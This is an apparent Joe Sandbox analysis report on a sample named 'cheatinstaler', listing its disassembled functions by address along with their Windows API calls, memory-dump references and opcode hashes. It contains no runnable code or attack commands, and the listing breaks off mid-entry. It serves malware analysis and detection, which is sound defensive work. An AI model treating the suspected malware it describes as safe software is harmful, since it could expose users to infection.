Function 00007FF6C16EBF64 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6C16EBF48), ref: 00007FF6C16EBF8C
TerminateProcess.KERNEL32(?,?,?,00007FF6C16EBF48), ref: 00007FF6C16EBF97
ExitProcess.KERNEL32 ref: 00007FF6C16EBFA6

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 44b3a526fe0d15710854bc957cc7a82f9edee4cc7420f0560de4bec5ea2a17a0
Instruction ID: d19da958b8cce5ca7414bb7f2206004e3fee4834de47e694b6a37a3ec5a65c60
Opcode Fuzzy Hash: 44b3a526fe0d15710854bc957cc7a82f9edee4cc7420f0560de4bec5ea2a17a0
Instruction Fuzzy Hash: 78E04F24B0470646EB54AF779C953792356AF88743F104678C8DE833D6CE3EA5199780

Function 00007FF6C16BF578 Relevance: 3.2, APIs: 2, Instructions: 193COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BF895
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BF89B

Part of subcall function 00007FF6C16C3EC8: FindClose.KERNELBASE(?,?,00000000,00007FF6C16D0811), ref: 00007FF6C16C3EFD

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFind
String ID:
API String ID: 3587649625-0
Opcode ID: 31de71ccb13629eb4e8ff473cf0e989b9a8a473b909947ada8621b483159802c
Instruction ID: 5df65cd3a7279b27cbda88747a034d17b28115ef4d4d7b34777f9af1603517f2
Opcode Fuzzy Hash: 31de71ccb13629eb4e8ff473cf0e989b9a8a473b909947ada8621b483159802c
Instruction Fuzzy Hash: 9691D073A18B9190EB10DF26E8442ED6361FB84799F904276FACC87AE9DF78D541E340

Function 00007FF6C16B3904 Relevance: 3.1, APIs: 2, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B3AB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B3AB9

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 8a0d7ffcdee688d7cb22665fdd22367b6c642a36889c5767c2428ca75abdd5ff
Instruction ID: 45e494287b878c79c12ba0800674c4b03e1899daa0755a2d4c2aff626bded119
Opcode Fuzzy Hash: 8a0d7ffcdee688d7cb22665fdd22367b6c642a36889c5767c2428ca75abdd5ff
Instruction Fuzzy Hash: 9641D462F1465284FB00DFB6D4402BD2361AF44BD9F249235EEDDA7ADADE38D482A340

Function 00007FF6C16C2778 Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000002,?,00000F99,?,00007FF6C16C274D), ref: 00007FF6C16C28A9
GetLastError.KERNEL32(?,00007FF6C16C274D), ref: 00007FF6C16C28B8

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 043a82e8aff847b2e282b78885e55c7214a93c585b530bdf19c19deffc600893
Instruction ID: 38c571ad01b906e8e092540a8d2c97b5e62b550ba2e6a0ab6375d797bafde024
Opcode Fuzzy Hash: 043a82e8aff847b2e282b78885e55c7214a93c585b530bdf19c19deffc600893
Instruction Fuzzy Hash: 8231C522B1BA9282EF605F2BD99067A2350AF04FD6F150135EEDD87790DE3CD545A640

Function 00007FF6C16B22BC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6C16B22F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B23F0

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: 8763c555b957396376e96df864685bb2527d49eefc22d4d720e740779d29c564
Instruction ID: bee590bc828876a1534b40e5a7bed608c1bb81647df45df1b36e0b2d466af150
Opcode Fuzzy Hash: 8763c555b957396376e96df864685bb2527d49eefc22d4d720e740779d29c564
Instruction Fuzzy Hash: F331B022A1978582EB109F26F8553AEB3A1EF84B91F444235EBDC47B95DF3CF540A740

Function 00007FF6C16C2AD0 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF6C16C2AFE
SetFileTime.KERNELBASE ref: 00007FF6C16C2B9B

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
Instruction ID: 520aaaba6421139c2b9e2eb452b520df73c8e0982e6b63f901b80f261578f79c
Opcode Fuzzy Hash: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
Instruction Fuzzy Hash: 2621B062F09B8251EF62AE13D4257BA67A0AF0179AF554035DECC87395EF3CD486E200

Function 00007FF6C16CAAE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6C16CAB67
LoadStringW.USER32 ref: 00007FF6C16CAB80

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction ID: 492e5445b997d9f55465c0b7e552ac1955c132292c7df525edb9cb8539e09d6f
Opcode Fuzzy Hash: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction Fuzzy Hash: 5E119071B08A0285EB009F17E864068B7A1BB98FC1F644435CE8ED3722EF7CE6518344

Function 00007FF6C16C2BB0 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF6C16C2C11
GetLastError.KERNEL32 ref: 00007FF6C16C2C1E

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction ID: 133fb4a8165389f6192a07a4187cbf6aab94a86fb85aee7c425ee1334bf47c57
Opcode Fuzzy Hash: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction Fuzzy Hash: 69118431A0864181EF609F66E8906796360FB45BB5F544335EEFD962D5CF3CD592E300

Function 00007FF6C16B255C Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16CA4AC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C16CA504
Part of subcall function 00007FF6C16CA4AC: SetDlgItemTextW.USER32 ref: 00007FF6C16CA573
Part of subcall function 00007FF6C16CA4AC: GetWindowRect.USER32 ref: 00007FF6C16CA5AD
Part of subcall function 00007FF6C16CA4AC: GetClientRect.USER32 ref: 00007FF6C16CA5BB

GetDlgItem.USER32 ref: 00007FF6C16B25AC
SetDlgItemTextW.USER32 ref: 00007FF6C16B25C8

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Item$RectText$ClientWindowswprintf
String ID:
API String ID: 402765569-0
Opcode ID: ad94589889145b650e3461eb84003e845283bd92425fc2a9221c8100a4e27e71
Instruction ID: 8f06898a2f4cde76742f291d90376c709f517b37651692b58a787b43d4c0eab0
Opcode Fuzzy Hash: ad94589889145b650e3461eb84003e845283bd92425fc2a9221c8100a4e27e71
Instruction Fuzzy Hash: FD017511A0D64A41FF555F53A4786B953925F45786F184038E8CE863DADE6CF884E310

Function 00007FF6C16CEB58 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6C16CEBAD,?,?,?,?,00007FF6C16C5752,?,?,?,00007FF6C16C56DE), ref: 00007FF6C16CEB5C
GetProcessAffinityMask.KERNEL32 ref: 00007FF6C16CEB6F

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction ID: 1d4b96099b933303300d56fd517a2b9472a053a66895646a37f2ad548105b352
Opcode Fuzzy Hash: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction Fuzzy Hash: 79E02B61F1454742DF189F57C4505E973A2BFC8B41B848036D68BC3714DE2CE1458B00

Function 00007FF6C16E21D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16E2200

Part of subcall function 00007FF6C16E2F7C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C16E2F85

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C16E2206

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: c507040392a2377e4895e65205c3b95c5fe2146e3485fc393c80d7c2ffdcaf26
Instruction ID: 294cc526566667cba3fa2bcb5ab9a4aabd279c6c9ac2176b7d811d2cb17f033e
Opcode Fuzzy Hash: c507040392a2377e4895e65205c3b95c5fe2146e3485fc393c80d7c2ffdcaf26
Instruction Fuzzy Hash: B4E0EC44E1910745FF286A771C251B501410F69373E1C5738DBFE886C2AE1CE791B590

Function 00007FF6C16ED90C Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF6C16ED922
GetLastError.KERNEL32 ref: 00007FF6C16ED934

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: 7829e02dcbd74b51c5e196648e5aad52518f68633834b7095f7e5950a32ae739
Instruction ID: ab2062745c4c1529127289c903adf81f4bc25aed64a0bbe415bfe4bab52bcbf4
Opcode Fuzzy Hash: 7829e02dcbd74b51c5e196648e5aad52518f68633834b7095f7e5950a32ae739
Instruction Fuzzy Hash: 81E08C60F0910346FF08AFB3DC452B813915F94B53F080134C9DDC6352EE2CA692A640

Function 00007FF6C16B33E4 Relevance: 1.8, APIs: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16B388C

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: af39ee99099a55e795e80951e1502b6695bf377bb292aa42fe2ae5656993095e
Instruction ID: fd230c09a97c71d4beb4164b6ffa3d70f08db5c5d62403dc8e2c0c7beaaa86dc
Opcode Fuzzy Hash: af39ee99099a55e795e80951e1502b6695bf377bb292aa42fe2ae5656993095e
Instruction Fuzzy Hash: 53D1D672B0868256EB688F2796442B977A5FB05B86F048035EBDD877A5CF3CE461B301

Function 00007FF6C16C5294 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C551B

Part of subcall function 00007FF6C16D13F4: CompareStringW.KERNEL32 ref: 00007FF6C16D145A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1017591355-0
Opcode ID: fa91c3799828e3c7186940546e344b2356dc381c1e63a9425ea543ecc2eeea66
Instruction ID: 36d19c73f0f240365d56f32264b166b078cfcf7c03962b2abe132409fcc30631
Opcode Fuzzy Hash: fa91c3799828e3c7186940546e344b2356dc381c1e63a9425ea543ecc2eeea66
Instruction Fuzzy Hash: 9961D111B0D647C1FF64BE279C2427A9A91AF45BD7F148131EECDC6AC6EE7CE441A200

Function 00007FF6C16D1870 Relevance: 1.7, APIs: 1, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16CE948: ReleaseSemaphore.KERNEL32 ref: 00007FF6C16CE974
Part of subcall function 00007FF6C16CE948: FindCloseChangeNotification.KERNELBASE ref: 00007FF6C16CE993
Part of subcall function 00007FF6C16CE948: DeleteCriticalSection.KERNEL32 ref: 00007FF6C16CE9AA
Part of subcall function 00007FF6C16CE948: CloseHandle.KERNEL32 ref: 00007FF6C16CE9B7

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16D1ACB

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Close$ChangeCriticalDeleteFindHandleNotificationReleaseSectionSemaphore_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1624603282-0
Opcode ID: f81b05313dfd5b5a73717daa6d384c08c9459244a7d30a6ec5ae517113eafb45
Instruction ID: ba36441886d4524c6d7f7ed971185f80a053bbad27ce62237e03fe8e180f8568
Opcode Fuzzy Hash: f81b05313dfd5b5a73717daa6d384c08c9459244a7d30a6ec5ae517113eafb45
Instruction Fuzzy Hash: 9361E062B15A8596EF08EF66D5540BC7365FF41B81B284236EBED8BAC1CF68E4709300

Function 00007FF6C16BEC9C Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BEEB8

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d7b1a399856acf99fdb305a598bd345408e38bb8b7611d952776f17d246575aa
Instruction ID: 61846bd090d3420bfc99de9b94696339f77fbba32105119249a8160f56654d3e
Opcode Fuzzy Hash: d7b1a399856acf99fdb305a598bd345408e38bb8b7611d952776f17d246575aa
Instruction Fuzzy Hash: 0D51C162A0868280EF14AF27D4553A96751FB86BC6F444136FEDD87396CF3DE486E340

Function 00007FF6C16BE7A8 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16C3EC8: FindClose.KERNELBASE(?,?,00000000,00007FF6C16D0811), ref: 00007FF6C16C3EFD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BE993

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

